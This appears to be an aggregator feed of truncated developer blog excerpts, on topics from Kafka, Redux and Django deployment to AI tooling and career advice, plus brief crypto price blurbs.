Chatbots are everywhere now, right? They pop up on websites, in apps, and honestly, they can be a real help. But sometimes, they just don't get what you're asking for. It's like talking to a wall. The trick to making them actually useful is teaching them to understand what you want. This is all about something called 'intents.' Figuring out how to make a chatbot understand customer intent is key to making these tools work well. We'll break down how to get your chatbot on the same page as your customers. Chatbot intents are basically the goals or actions a user wants to achieve when they message a bot. Knowing this helps the bot respond the right way. There are different types of intents, like when someone just wants information, needs to do something (like buy something), wants help findin…  ( 16 min )

Modern developers work across multiple databases, cloud environments, and tools. Yet, most existing database GUIs either focus on a single engine, lack AI assistance, or lock core features behind paid tiers. To solve this, I’ve been building dbfuse-ai, an open-source, cross-database GUI with prompt-based AI-assisted SQL generation, driver-based extensibility, and a roadmap to support advanced features such as MCP integration, ER diagrams, schema exploration, and more. This project is growing quickly, and I’m actively looking for contributors who are interested in databases, Node.js, backend systems, AI integrations, and open-source collaboration. dbfuse-ai is a flexible JavaScript/TypeScript-based library that provides: A unified interface for working with multiple SQL databases A pluggab…  ( 8 min )

Modern developers work across multiple databases, cloud environments, and tools. Yet, most existing database GUIs either focus on a single engine, lack AI assistance, or lock core features behind paid tiers. To solve this, I’ve been building dbfuse-ai, an open-source, cross-database GUI with prompt-based AI-assisted SQL generation, driver-based extensibility, and a roadmap to support advanced features such as MCP integration, ER diagrams, schema exploration, and more. This project is growing quickly, and I’m actively looking for contributors who are interested in databases, Node.js, backend systems, AI integrations, and open-source collaboration. dbfuse-ai is a flexible JavaScript/TypeScript-based library that provides: A unified interface for working with multiple SQL databases A pluggab…  ( 8 min )

Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 Problem: https://www.geeksforgeeks.org/problems/number-of-ways-to-arrive-at-destination/1 Number of Ways to Arrive at Destination Difficulty: Medium Accuracy: 61.13% You are given an undirected weighted graph with V vertices numbered from 0 to V-1 and E edges, represented as a 2D array edges[][], where edges[i] = [ui, vi, timei] means that there is an undirected edge between nodes ui and vi that takes timei minutes to reach. Examples: Constraints: Solution: import heapq dist = [10**18] * V ways = [0] * V dist[0] = 0 ways[0] = 1 pq = [(0, 0)] mod = 10**9+7 while pq: d, u = heapq.heappop(pq) if d > dist[u]: continue for v, w in g[u]: nd = d + w if nd < dist[v]: dist[v] = nd ways[v] = ways[u] heapq.heappush(pq, (nd, v)) elif nd == dist[v]: ways[v] = (ways[v] + ways[u]) % mod return ways[V-1] % mod  ( 7 min )

Key Takeaways The relationship between data and applications is undergoing a fundamental shift. For decades, we've moved data to applications. Now, we're moving applications to data. This isn't just an architectural preference—it's becoming a necessity as businesses demand richer context, faster insights, and real-time operations. Here's what's driving this change: Context is king: Connected data provides multidimensional insights that isolated data simply cannot match The old pattern is breaking: Extracting data to specialized tools creates silos, brittleness, and duplication The line has blurred: Enterprise Data Platforms are no longer just analytical systems—they're becoming operational platforms Three critical shifts: Data latency must drop to seconds, query latency to sub-seconds, a…  ( 15 min )

I spent 30 days building and polishing this Claude Code plugin for agent builders. It has 5 slash commands I use every day. Now let me show you how magical they are and how I built and polished them over the past 30 days. /generate-code-map-headers - Generate code map headers When we use Claude Code to vibe code, sometimes it needs multiple steps to search and find the most related code and figure out the data flow trace stack, etc. If you run it every day when you finish work, the next morning Claude will understand the code relationships in one step and code much faster. /design-refine - Iteratively refine website design to professional standards If you're building frontend like me, you'll find it's annoying to deal with small design problems. You have to screenshot and tell Claude Code…  ( 7 min )

You browse a product online in the morning, receive a personalized offer by noon, and walk into a nearby store in the evening where the associate already knows exactly what you were looking for. That’s not coincidence — it’s the result of an omnichannel CRM seamlessly connecting every touchpoint across your digital and physical journey. In 2025, customer expectations have evolved. People don’t just want convenience — they want continuity. Whether they’re shopping, banking, or booking a doctor’s appointment, they expect every interaction to feel connected, intelligent, and personal. Modern CRM systems have evolved to make this possible. What once served as a static database for storing customer information has now become an adaptive ecosystem that unifies data, predicts behavior, and del…  ( 11 min )

Ethereum reste l’une des blockchains les plus influentes du Web3. Bien plus qu’un actif à acheter, c’est aujourd’hui une infrastructure de développement utilisée par des milliers de projets, d’applications décentralisées et d’innovations numériques. Le réseau évolue rapidement, poussé par des besoins de performance, de sécurité et de simplicité d’utilisation. Grâce à des plateformes accessibles comme MoonPay, l’accès à Ethereum est devenu plus simple pour les utilisateurs qui souhaitent interagir avec les applications Web3. Cette facilité d’entrée encourage davantage de développeurs à construire et tester de nouvelles idées, ce qui alimente une évolution technologique continue. Voici six tendances incontournables qui redéfinissent l’avenir d’Ethereum et celui des développeurs qui l’utilise…  ( 8 min )

If you’ve ever hosted a web app, a personal homelab service, or even a simple dashboard exposed to the internet, you’ve probably felt that lingering anxiety: “Is someone trying to break into this right now?” And honestly… they probably are. From SQL injection and XSS to brute-force login attempts and automated bots scanning for weak points, the modern web is full of constant, noisy, and increasingly sophisticated attacks. A single exposed service — whether it's your NAS, media server, or production API — can quickly become an attacker’s entry point. This is where a reliable Web Application Firewall (WAF) becomes essential. Today, let’s take a closer look at SafeLine, a powerful and production-ready open-source WAF that’s easy to deploy, actively maintained, and built to help you secure any…  ( 8 min )

Sometimes, being lazy is good. But that's no excuse for being lazy in work! It is only a valid excuse in programming if you apply at the right time and right place. The original article is here. Let's take this simple null-coalescing example: var object = object == null ? getDefaultObject() : object; A simple but elegant solution when you want to assign a default value to a variable if the object is null. Classic Java 101! Then, you get fancy and create a helper method to adhere to the DRY principle: // Sweet, sweet juicy usage of generics T getOrDefault(T object, T defaultValue) { return object == null ? defaultValue : object; } Also, FYI: DRY principle stands for Don't Repeat Yourself (ironically, I just repeated that) And then, riding high on your DRY-fueled mo…  ( 8 min )

Cloud computing has revolutionized how companies build and deploy software applications. Instead of investing in physical servers and networking equipment, organizations can now set up global IT environments within minutes and scale on demand. But this convenience comes with new security risks. As more critical data and applications move to the cloud, attackers follow. Securing your cloud environment isn’t optional anymore; it’s fundamental to building trust, ensuring resilience, and avoiding costly breaches. This guide walks through why cloud security matters now more than ever, how it differs from traditional on-premises security, and how AWS Identity and Access Management (IAM) plays a central role in protecting your cloud assets. You’ll find clear analogies, practical examples, and vis…  ( 12 min )

A gente fala muito sobre a evolução das pessoas… mas empresas também evoluem. E eu vivi isso em duas experiências marcantes na minha carreira, de perspectivas diferentes: Na primeira, depois que entrei na empresa, comecei a ouvir críticas e comentários negativos de ex-funcionários e colegas, principalmente sobre como os gestores lidavam com os problemas do dia a dia e com o pessoal — histórias antigas ruins, que geravam uma percepção de ambiente difícil. Confesso que fiquei com um pé atrás, e minhas expectativas ficaram baixas, mas ao longo dos meses percebi que as coisas já estavam bem melhores e continuaram evoluindo. Na segunda experiência, eu tinha uma ideia negativa formada sobre a empresa, tanto que dizia a colegas que nunca trabalharia lá. Mas algumas propostas chegaram, amigos me convidaram e, após reflexão e um período de oração, aceitei. Foi a melhor experiência da minha carreira até então. plano de carreira real, alcancei a posição que almejava quase dentro do prazo esperado e tive um desenvolvimento profissional muito positivo. Essas experiências me fizeram refletir: às vezes carregamos a imagem de uma empresa baseada em versões antigas — e esquecemos que organizações também passam por fases, ciclos, aprendizados, erros e recomeços. Assim como nós. Empresas sérias realmente buscam evoluir, revisando práticas do dia a dia, a forma de lidar com pessoas, projetos e cultura. Quem entra depois pode perceber essa evolução de forma direta. Assim como damos segunda chance a profissionais em recomeços, vale lembrar que empresas também podem mudar e merecem ser vistas com novos olhos. No fim, evolução não é um evento, é um processo. E isso vale para todos, pessoas e empresas.  ( 7 min )

Packing Power: AI Cracks the Sphere Optimization Code Imagine squeezing the maximum number of oranges into a crate. Seems simple, right? Now, scale that up to higher dimensions, where intuition fails. Finding the most efficient way to arrange spheres in multi-dimensional space – the "kissing number problem" – has baffled mathematicians for centuries. The breakthrough lies in reframing the problem as a game. Think of it as two AI agents battling it out. One agent strategically places spheres, while the other fine-tunes their positions to maximize the number that can touch a central sphere without overlapping. This collaborative "sphere-juggling" approach leverages reinforcement learning to explore incredibly complex configurations. The result? An AI system that not only rediscovers known …  ( 7 min )

There are years that whisper change, and years that thunder it. 2025 was the latter—a year when the future stopped feeling like a distant promise and started feeling like the ground beneath our feet. As I write this in late 2025, I'm struck by how dramatically the landscape has shifted, not through a single revolutionary moment, but through a constellation of launches, breakthroughs, and quiet innovations that have fundamentally altered how we build, create, and think about technology. This isn't just another year-in-review. This is a map of the threshold we've crossed, drawn from the launches that mattered, the tools that changed everything, and the moments when we collectively realized: the future is no longer coming. It's here. When Anthropic launched Claude 4 in early 2025, followed by…  ( 17 min )

Considerando as mudanças de mercado que vêm acontecendo nos últimos anos, todos nós estamos sujeitos a passar por isso. Nem todo profissional desligado em uma demissão em massa é alguém que não entrega resultados. Muitas vezes a empresa precisa fazer um corte cirúrgico de gastos. Há casos em que você está entre os que mais ganham e acaba virando um candidato natural ao corte. Mas isso não é um demérito: é uma conquista do seu trabalho. O mercado continua cheio de oportunidades onde você pode ganhar o mesmo ou mais. Falando do lado emocional, é importante entender que não é pessoal. A relação de trabalho é um contrato que pode ser encerrado a qualquer momento. Claro que existem situações específicas que podem contribuir para o desligamento: conflito interno com outro profissional relevante, redução de time, mudança de foco ou projetos, encerramento de iniciativas. Normalmente, times de pesquisa, inovação, arquitetura e projetos secundários são os primeiros impactados. A ideia desse artigo é deixar um alerta para que você esteja preparado. Mas a pergunta é: como? Como se preparar Aqui estão os pilares que realmente fazem diferença quando o inesperado acontece: 1. Construa uma boa rede de contatos 2. Mantenha um perfil profissional relevante 3. Tenha visibilidade no mercado 4. Invista em idiomas 5. Converse sobre o mercado 6. Atualize-se constantemente 7. Mantenha seus perfis e portfólio vivos 8. Explore coisas novas dentro da sua área 9. Entenda seu valor no mercado 10. Tenha uma reserva de emergência Conclusão O objetivo não é viver com medo, mas viver consciente. Ser bom no que você faz importa. Estar preparado para o inesperado importa ainda mais.  ( 7 min )

In modern office workflows and data processing, PDF files stand out for their unrivaled format stability, making them a staple across industries. For Python developers, adding pages to PDFs is a recurring need—whether for automating document assembly, appending content to generated reports, or integrating custom text/image layouts into existing files. Mastering this skill streamlines workflows, eliminates the hassle of manual editing, and boosts productivity in document-centric tasks. Spire.PDF for Python emerges as a powerful, user-friendly solution for such requirements. As a full-featured PDF processing library, it offers intuitive APIs tailored to diverse page-adding scenarios. This guide breaks down its core functionalities, paired with production-ready code examples to help you imple…  ( 8 min )

Managing state in a complex web application can feel like trying to run a sprawling, disorganized warehouse. Data is everywhere, and you never know who changed what or when. This is where Redux steps in, acting as a meticulous system for organizing and controlling every piece of information in your app. Here’s a simple, real-world analogy that breaks down the main players in the Redux architecture—the Store, the Component, the Action, the Reducer, and the crucial Middleware. Imagine an e-commerce application where a customer buys a single product, like a television. The Store is the entire Department Store's Inventory Database. It is the single, undisputed source of truth. It holds every piece of data—the stock counts for TVs, the customer lists, the pricing, and the current state of every…  ( 8 min )

When learning to code, it's tempting to reach for built-in functions like min() and max() whenever you need to find the smallest or largest values in a list. But understanding how to implement these operations from scratch is crucial for developing your problem-solving skills and deepening your understanding of fundamental algorithms. Let's tackle a common programming challenge: write a function that finds both the smallest and largest numbers in a list and returns them as a tuple, without using Python's built-in min() or max() functions. Here's an elegant solution that accomplishes this in a single pass through the list: def find_min_max(lst): """ Find the minimum and maximum values in a list. Returns a tuple containing (minimum, maximum). """ if len(lst) == 0: …  ( 8 min )

💻 Mas também servem para IA, games, estudo, criação de conteúdo e entre outras tarefas do cotidiano. Com a chegada de processadores mais eficientes, telas melhores e maior integração com IA, 2026 promete ser um ano de notebooks mais potentes e acessíveis. A lista abaixo reúne 20 modelos escolhidos por variedade de uso: estudo, trabalho, programação, criação de conteúdo, games, mobilidade e custo-benefício. 01. Apple notebook MacBook Pro (de 16 polegadas, Processador M1 Pro da Apple com CPU 10‑core e GPU 16‑core, 16 GB RAM, 512 GB SSD) O mais forte da lista. Tela grande de 16″, chip Apple Silicon com GPU poderosa, ideal para edição de vídeo, modelagem, programação pesada e workflows profissionais que exigem estabilidade e desempenho contínuo. Clique aqui para adquirir esse Notebook 02.…  ( 9 min )

When CSS first emerged, one of its biggest limitations was the lack of variables. Developers had to repeat colors, spacing values, and font sizes across multiple selectors. Updating a brand color or tweaking layout spacing meant tedious, error-prone find-and-replace across stylesheets. Enter CSS Variables (Custom Properties) — a modern CSS feature that made styles far more maintainable and dynamic. CSS Variables, officially called Custom Properties, are user-defined values that can be reused throughout your stylesheet. They follow a special syntax: css :root { --primary-color: #4a90e2; --spacing-md: 1.5rem; } --primary-color and --spacing-md are custom property names. Variables always begin with --. To use them, apply the var() function: css button { background-color: var(--prim…  ( 7 min )

For a React Native e-commerce application handling real-time Stock and Purchases, managing the global state efficiently is non-negotiable. Two popular choices emerge for modern React developers: the built-in Context API and the minimalist library, Zustand. While the Context API is simple and dependency-free, it often leads to critical performance bottlenecks when dealing with frequent, complex, and interconnected state—exactly the kind of state found in a busy online store. Here’s a breakdown of the two approaches and a clear argument for why Zustand is the superior choice for your stock and purchase management. The Context API is React's native solution for avoiding "prop drilling"—passing props down through many layers of components. To manage your e-commerce state, you'd logically separ…  ( 8 min )

Introduction If you've been building AI applications with LLMs lately, you've probably hit the same wall I did: these models are incredibly smart, but if we ask about current events, they don't know because they've been frozen in time. They only understand information from the data they were trained on. They don't know about your documents, your database, your company files, or what's actually happening in your business right now. Two different approaches have emerged to solve this problem: RAG and MCP. And honestly, the way people talk about them can be confusing as hell. Let me break it down in a way that actually makes sense. Think about how you get information in everyday life: RAG is like asking someone to look it up in their personal library You ask: "Hey, what did our company pol…  ( 11 min )

The Road to Glory: Assessing Individual Performances and Their Impact on World Cup 2026 As we continue to navigate the countdown to the highly anticipated World Cup 2026, it's becoming increasingly evident that several top-tier players are already gearing up for their next major international tournament. A recent article by The Athletic and The New York Times highlights this growing trend, emphasizing how these exceptional athletes are positioning themselves for success in the upcoming competition. Star Players Stepping Up One of the most significant factors contributing to a team's overall performance is the presence of skilled and experienced players who consistently deliver top-notch results. The likes of Kylian Mbappé (France), Lionel Messi (Argentina), and Robert Lewandowski (Pola…  ( 8 min )

Originally published on Entropic Drift ripgrep is one of the most popular command-line search tools, with over 57,000 stars on GitHub. Despite its popularity and rich feature set, the documentation consisted of just two files: a feature-focused README and a tutorial-style GUIDE. While these files were well-written, they left gaps: No structured learning path from basics to advanced features Limited visual aids to explain complex concepts Features scattered across different sections No dedicated troubleshooting or reference sections Using an evolved version of my documentation automation workflow (originally built for Prodigy's documentation), I generated 50+ pages of enhanced documentation, now live at https://iepathos.github.io/ripgrep. This post documents how the workflow evolved to hand…  ( 12 min )

Dev.to's feed is broken. It never shows me posts I actually want to read. The search engine doesn’t help either. I had a feeling there’s still good, advanced level content being published, buried under the clickbait and slop. So I made my own tool to find these hidden gems. I use it daily to find recently published (last 24 hours), original, and insightful posts about AI and success. I usually end up with a couple of solid reads every day. I’ll share the ones I like best here and update this page as I discover new ones. Bookmark this page if you want to stay up to speed. Disclaimer: I don’t endorse these posts. The opinions expressed belong to their authors. I just find them thought-provoking and worth reading. Enjoy. The Shift Towards Agentic AI: What It Means for Developers by @lofcz While the title comes off a bit generic, the article itself has genuinely sharp insights and correctly calls out common pitfalls (and solutions) when implementing agents. Context Engineering: The Critical Infrastructure Challenge in Production LLM Systems by @siddhantkcode This one goes deep on advanced ways to keep context lean and mean. It doesn’t give every detail, but it does link full access to the code, which is even better 😄 The Vibe Coding Trap: Why Conversational AI Makes Developers Slower by @mechero22 This one’s a bit spicy, and I’m not fully onboard with all the claims it makes. But even if it rubs you the wrong way, it will definitely give you something to chew on.  ( 6 min )

In our previous post, we explored how Horda entities work like Flutter's stateful widgets, but on the backend. We also mentioned that Horda is a stateful serverless platform. But what does that mean exactly? If you are a Flutter developer, whenever someone mentions the word "serverless", there's a high chance that Firebase Cloud Functions would come to mind. Except unlike Horda, they are stateless. So in this post let's explore what's the difference between stateful and stateless serverless, and how stateful serverless replaces traditional databases with a much faster, simpler, and more cost-efficient approach. When we say Firebase Cloud Functions are stateless, we mean they have complete amnesia. Every time a function is invoked, it starts from scratch with no memory of previous calls. It…  ( 10 min )

Why 90% of AI Apps Fail to Monetize Effectively — And How Monetzly Can Change That As AI applications continue to flood the market, it’s alarming to see that 90% of them fail to monetize effectively. What’s behind this staggering statistic? Most AI apps struggle to create sustainable revenue models without alienating users. Enter Monetzly—your solution for smarter monetization in AI conversations. The landscape of AI app development is rapidly evolving. Developers face immense pressure to deliver innovative solutions, yet many overlook a critical element: monetization. Traditional models, like subscriptions or paywalls, often disrupt user experience, leading to churn and low engagement. Monetzly flips this paradigm on its head with its dual-earning platform. Here’s how it works: develop…  ( 7 min )

Introduction: The C# Developer’s CURL Copy-Paste Conundrum Bridging Bash and .NET: Harnessing CurlDotNet for Linux-Compatible REST API Magic It’s 2 AM on deployment night, and I’m staring at a cURL example from Stripe’s docs. You know the moment — a dozen browser tabs open, half-written unit tests, and now I’m translating a curl command into C#. Again. API docs everywhere default to curl. Stripe, GitHub, Twilio, OpenAI — they all hand you a Bash-friendly snippet and expect you to mentally map: -H becomes a header object -d becomes JSON content -u becomes basic auth Oh, and don’t forget that one weird header that silently breaks everything if you miss it If you’re building C# apps on Linux, the friction gets real. We love Bash. We love .NET. But the two ecosystems don’t always sh…  ( 9 min )

Let me guess: you optimized your website for mobile by making sure it "looks okay" on your phone. Maybe ran it through Google's Mobile-Friendly Test, got a green checkmark, called it a day. Here's the thing—73% of web traffic now comes from mobile devices. But here's what keeps me up at night: mobile conversion rates still lag desktop by an average of 30-40%. We're not talking about a small gap anymore. We're talking about leaving massive revenue on the table because we're still treating mobile like desktop's smaller, less important sibling. I've spent the last year auditing mobile experiences for e-commerce and SaaS companies. The pattern is consistent and frustrating: beautiful desktop sites that turn into thumb-hostile nightmares the moment you pull out your phone. It's 2025, and we're …  ( 11 min )

With my first post here on dev.to, I thought it might be nice to just present my existing github repo of 3d designs. I want to actually get off of GitHub for the most part and make my tech/makery stuff more as a social media account. This is where I am starting. Without too much more, you can find my repo for 3d designs here: https://github.com/BoyoLabs/3dDesigns These are not all of the designs I have ever made, I just don't want to share ones that are more personal. Regardless, all of my designs will always have been printed. I also do context engineering and AI stuff, so keep a look out for that!  ( 6 min )

When building APIs, you must validate your inputs and outputs. If your API accepts any data, failure is only a matter of time. Instead of adding more ifs, use declarative validation: NestJS + class-validator + class-transformer, an async constraint that queries your DB, and a custom decorator integrated with the container. Result: errors stopped before the service layer and reusable rules across all your DTOs, with less duplicated logic. In this tutorial, I'll teach you how to build your own custom decorator to prevent these scenarios. Let's start with a base project. I have a template repository with a RESTful API using NestJS as the framework, PostgreSQL as the database, and Drizzle as the ORM—but you can create your own. This is the repo I'm using: https://github.com/RubenOAlvarado/nes…  ( 12 min )

Working with SaaS teams over the years has taught me that SEO isn’t as straightforward as many expect. The usual assumption is that publishing more blog posts will eventually lead to organic traction. I made the same mistake early in my career. I helped a SaaS tool publish around twenty articles in a single month, expecting results to follow. They didn’t. The problem wasn’t effort. It was direction. Modern SaaS SEO is different because search intent is fluid and users behave more like researchers than casual browsers. They compare, validate and dig deep before committing to a subscription. That’s why a structured approach matters, something I noticed when exploring how MADX organizes its service framework. Here’s a simple enumeration that reflects what SaaS teams often miss: SEO must conne…  ( 7 min )

Airbnb's Brian Chesky dropped a bombshell in October 2025 that most tech leaders saw coming but few dared to acknowledge publicly: his company "relies heavily" on Alibaba's Qwen models to power its AI-driven customer service agent. This from the personal friend of OpenAI's Sam Altman, essentially admitting that when the rubber meets the road, cost and performance trump loyalty. Around the same time, venture capitalist Chamath Palihapitiya revealed his firm had migrated major workloads from OpenAI and Anthropic to Moonshot AI's Kimi K2 because it was "way more performant and frankly just a ton cheaper." Welcome to AI's Sputnik moment. While Washington celebrates chip export controls and trillion-dollar infrastructure plans, Chinese AI models are infiltrating Silicon Valley through the o…  ( 14 min )

Apache Kafka is an open-source distributed event-streaming platform. Let’s break this into simple words: Event Streaming This refers to two activities: Producing events (sending continuous data/messages) Consuming events (reading and processing the data continuously) Example: Pays someone Books a ticket Recharges mobile An event is created. millions of events per second. All these events are streamed to Kafka in real-time. Then, another application (consumer) reads these events from Kafka. For example: Check if a user exceeded daily transaction limits Detect fraud Send notifications So, event streaming = continuous sending + continuous processing. 2. Why is Kafka called distributed? “Distributed” means Kafka runs on multiple servers across different regions. Multiple brokers (servers) …  ( 14 min )

O Amazon Elastic Compute Cloud (EC2) é um dos serviços mais fundamentais e populares da Amazon Web Services (AWS). Ele oferece capacidade computacional escalável na nuvem, permitindo que empresas e desenvolvedores executem aplicações sem a necessidade de investir em infraestrutura física. Neste artigo, vamos explorar em detalhes o que são as instâncias EC2, suas características, tipos e como utilizá-las efetivamente. O Amazon EC2 é um serviço web que fornece capacidade computacional redimensionável na nuvem. Em termos simples, são servidores virtuais que você pode provisionar em minutos e pagar apenas pelo tempo de uso. O conceito de "elasticidade" no nome refere-se à capacidade de aumentar ou diminuir a capacidade computacional rapidamente conforme as necessidades da sua aplicação. As ins…  ( 10 min )

AWS Amplify Gen2 deployment i tried to production deploy test code with amplify. I have already check the developing application work in sandbox. it' OK. in amplify gen2, the deploy of production is executed not by command prompt like the other process, but with aws console. after opening the aws amplify in aws console, it's easy to deploy along with the guide. the local application link to amplify through github repository. i tried production deployment like above, the deployment failed because of variant type of "moduleResolution". then my countermeasure is; { "compilerOptions": { "target": "ES2017", "lib": ["dom", "dom.iterable", "esnext"], "allowJs": true, "skipLibCheck": true, "strict": true, "noEmit": true, "esModuleInterop": true, //"module": "esnext", "module": "NodeNext", // 変更 "moduleResolution": "NodeNext", // 変更 // ---------------------------------------------------------- // 💡 修正 1: .ts拡張子のインポートを許可する設定を追加 "allowImportingTsExtensions": true, // 💡 修正 2: Next.js + Amplify Gen 2で推奨される設定に調整 "moduleResolution": "NodeNext", // ---------------------------------------------------------- "resolveJsonModule": true, "isolatedModules": true, "jsx": "react-jsx", the original setting is default of next.js project. so in future at every time i build develop folder, it's necessary. in this process, i completed the product pipeline. if i update the application, i change the local file and then; git add . staging upload git commit -m "changing description" commit to local git git push push to remote repository i can reflect the local change to product just with this !! i have already prepared the full stack app dev. i keep this dev folder as template for the next. and now i have to focus on generate idea of my app.  ( 6 min )

In my last post I covered the Graph pattern and how structured, deterministic workflows can orchestrate multiple agents like a symphony orchestra following a conductor's score.👇🏼 Strands Multi-Agent Systems: Graph Laura Salinas for AWS ・ Oct 31 #aws #agents #ai #learning In this final post in this multi agent series, I'm diving into Agents as Tools. I'll share code snippets and examples that you can follow along with to build your own multi-agent system. While Graphs provide structured coordination through dependencies and Swarms enable autonomous collaboration, the Agents as Tools pattern brings hierarchical delegation to multi-agent orchestration. Instead of a single agent trying to handle everything, tasks are delegated to the most appropriate specialize…  ( 10 min )

The country has added nearly 100 million dollars to the national bitcoin treasury as BTC trades below $90k.  ( 32 min )

The memecoin's technical structure is weakened, with key support at $0.1520 needing to hold to prevent further declines.  ( 35 min )

Traders should watch the $2.15 pivot, as holding this level could lead to a bounce, while a break below may trigger further declines.  ( 35 min )

The latest on-chain move comes as BTC's spot price continues to slide.  ( 32 min )

BTC looks oversold, according to the 14-day RSI indicator.  ( 33 min )

The drop to $89,420 — its lowest level since February — comes just six weeks after prices topped out at a record $126,250, marking a sharp reversal.  ( 34 min )

In a statement to CoinDesk, FDT's Vincent Chok said his company "welcomes any steps that assist Techteryx in pursuing recovery of its funds from the Aria entities."  ( 33 min )

A fast reset in downside odds mirrors QCP’s warning of flat-footed pro desks, with Glassnode highlighting oversold momentum and moderating ETF outflows.  ( 34 min )

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Few months ago, I started an effort on create a very simple and easy to use http client. At first, I just tried to mimic the same approach as apisauce for NodeJS, but that didn’t sound appropriate, so I started to refactor to be more rust friendly lib. Once I moved forward with Deboa implementation, I started to brake it down by features, then by separate crates. Nowadays, Deboa is very modular and can take minimal space on final binary size. So far, whole Deboa ecosystem is made of following crates: deboa deboa-extras deboa-macros deboa-bora deboa-fory vamo vamo-macros In this post, we will cover Deboa and some of its features. Right now Deboa has the following features: tokio-rt smol-rt http1 http2 All the examples on this post are based on tokio-rt and http1. You can easy add Deboa to y…  ( 7 min )

Every company has a customer journey map. Usually it's beautiful. Color-coded stages, emotional peaks and valleys, touchpoint icons that look like they came from an expensive design system. And it's sitting in a Figma file nobody's opened since the workshop three months ago. Here's what I've noticed after reviewing dozens of CX initiatives: teams spend weeks mapping the ideal journey and about 20 minutes identifying where things actually fall apart. Then they wonder why their NPS isn't moving. The problem isn't journey mapping itself. It's that we've confused documentation with diagnosis. We're drawing maps of territories we hope exist instead of surveying the terrain customers actually navigate. Let me show you what works instead. Start with where customers get stuck. Not where you think …  ( 11 min )

The Unseen Code: When Medical AI Reveals More Than Medicine Imagine training an AI to detect pneumonia from chest X-rays, only to discover it's also silently predicting a patient's insurance status. Seem impossible? What if the algorithm inadvertently learned to recognize subtle differences in image quality, scan settings, or even positioning that correlate with access to different levels of healthcare? The implications are profound. At the heart of this is the idea that AI, specifically deep learning models trained on medical images, can unintentionally learn and encode socioeconomic biases present within the data itself. The algorithm, in its pursuit of accuracy, picks up on subtle cues – variations in equipment, clinical workflows, or even the effects of chronic stress on lung tissue …  ( 7 min )

Here's what nobody tells you about marketing automation: most tools are built for companies with dedicated ops teams, six-figure budgets, and the luxury of a 12-month implementation timeline. You probably have none of those things. I've watched countless businesses buy platforms they'll never fully use, spend months on setup, and eventually downgrade to something simpler. The automation dream turns into a nightmare of unused features and wasted budget. So let's talk about what actually works in 2025, when you're dealing with real constraints. The market's gotten weird. Every CRM now claims to be a marketing automation platform. Every email tool promises AI-powered everything. And everyone's racing to add features nobody asked for. Case in point: I counted 47 different tools at a recent Mar…  ( 11 min )

TL;DR: GITHUB REPO. Tired of writing the same verbose error handling boilerplate in your Axum handlers? Me too! 🙄 By creating a custom AppError newtype that wraps anyhow::Error and implements IntoResponse + From, you can ditch all those ugly match statements and embrace the beautiful ? operator. Your handler functions go from messy error-matching shenanigans to clean, readable code that automatically converts any error into proper HTTP responses. It's like magic, but with more crabs! 🦀 Recently I've been digging a lot into the axum crate for any of my Rust web projects. There are plenty of options out there for Rust web applications, but it seems that we have all settled on Axum as the go to crate. Before you even start reading this, if you have not checked it out yet - do so now ...…  ( 11 min )

🚀 Django Learning Journey – Day 14 Today was the BIG day — I tried deploying my first ever Django app! 🌐 Choosing a Free Tier After researching deployment options, I chose Render. But everything after that was a rollercoaster 🚀🔥 💡 Important Lessons I Learned Today I finally understood why this file is crucial. 2️⃣ Why people name their environment folder .env Most tutorials use .env instead of venv or virt. 3️⃣ Static files & the root directory I had to configure a root directory for collecting static files and then run: python manage.py collectstatic --noinput I don’t fully understand what --noinput does yet… 4️⃣ Gunicorn for deployment Installed gunicorn and updated the start command: gunicorn todo_app.wsgi:application --bind 0.0.0.0:$PORT This finally got the app very close to going live. 🎉 The App Actually Went Live!! Here’s the URL I got on Render: https://to-do-list-django-4yp3.onrender.com I clicked with excitement… ❌ “DisallowedHost at /” My jaw dropped. This was such an important reality check: “Just because it works on your machine doesn't mean it works on the server.” I’m now learning why Django requires updating ALLOWED_HOSTS and what a server actually is. 🤝 I Need Some Help If you’ve deployed Django apps multiple times: How do you fix this DisallowedHost issue cleanly? What helped you understand how servers work without getting intimidated? What shocked you during your first deployment attempt? 🥹 Final Thoughts Even though today was full of errors… The learning curve is steep — but incredibly rewarding. Thank you all for being part of this journey 🙏 Failed yet proud : https://to-do-list-django-4yp3.onrender.com  ( 7 min )

para-mcp-server in one sentence para-mcp-server is a Para MCP server plus a Next.js demo UI that lets AI tools and humans share the same Para-powered auth and wallet flows. It’s a small lab for experimenting with: MCP tools that talk to Para Next.js UI that shows what the same flows look like in the browser AI-first workflows (Kiro, ChatGPT, etc.) that can trigger those flows from inside your editor or chat. From the typescript/community/mcp-tools/para-mcp-server folder you get: A Para MCP server Managed by xmcp via xmcp.config.ts Exposes Para operations to any MCP-capable client (ChatGPT, Kiro, etc.) A Next.js demo app Runs on http://localhost:3012 Shows end-to-end auth and wallet flows backed by Para Configurable Web3 infra Para API key and environment WalletConnect project ID …  ( 9 min )

Hey folks, this is the first issue with the new template for the newsletter. I'm still working on the design, but I wanted to get it out there so you can see the changes. Let me know in case you have any feedback. – Erfan Ebrahimnia, Curator of Next.js Weekly React Email 5 The main announcement of this week is the release of React Email 5.0.0. This major version brings lots of improvements, including support for Tailwind 4, a new Dark Mode Switcher, Resend integration for team collaboration, and 8 new components like avatars, stats, and testimonials. It also adds compatibility with React 19.2 and Next.js 16 Don't Blindly Use useTransition Everywhere Nicolas takes a closer look at useTransition and why the React Docs example might not be a great starting point for real-world UX If you …  ( 8 min )

Prototypal inheritance is one of JavaScript's most powerful yet misunderstood features. Unlike classical inheritance found in languages like Java or C++, JavaScript uses a prototype-based approach that's both flexible and elegant. Let's unpack this concept from the ground up. Imagine you're building a user management system. You have a basic user object with common properties and methods. Now you need to create admin and guest variants. Should you copy-paste all the user code? Absolutely not! This is where prototypal inheritance shines—it lets you build new objects on top of existing ones. [[Prototype]] Property Every JavaScript object has a secret weapon: a hidden property called [[Prototype]]. Think of it as a reference pointer that says, "If you can't find what you're looking for in m…  ( 9 min )

